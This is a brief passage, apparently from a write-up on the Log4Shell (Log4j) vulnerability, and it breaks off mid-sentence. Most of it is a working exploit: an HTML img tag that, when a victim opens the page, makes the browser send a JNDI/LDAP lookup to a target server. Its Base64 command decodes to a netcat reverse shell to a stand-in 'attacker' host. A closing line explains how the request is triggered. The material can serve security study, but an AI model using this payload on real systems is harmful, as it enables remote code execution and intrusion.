Log4j Vulnerability, Log4shell, Exploit, Web Attack.
img</h1> <img src="http://target:8080/spoppi?username=$%7bjndi:ldap://attacker:1389/Basic/Command/Base64 /L3Vzci9iaW4vbmMgYXR0YWNrZXIgMTIzNCAtZSAvYmluL3NoICAK%7d"> </script> </body> </html> When the user opens this web page the browser triggers the GET request without being stopped by any browser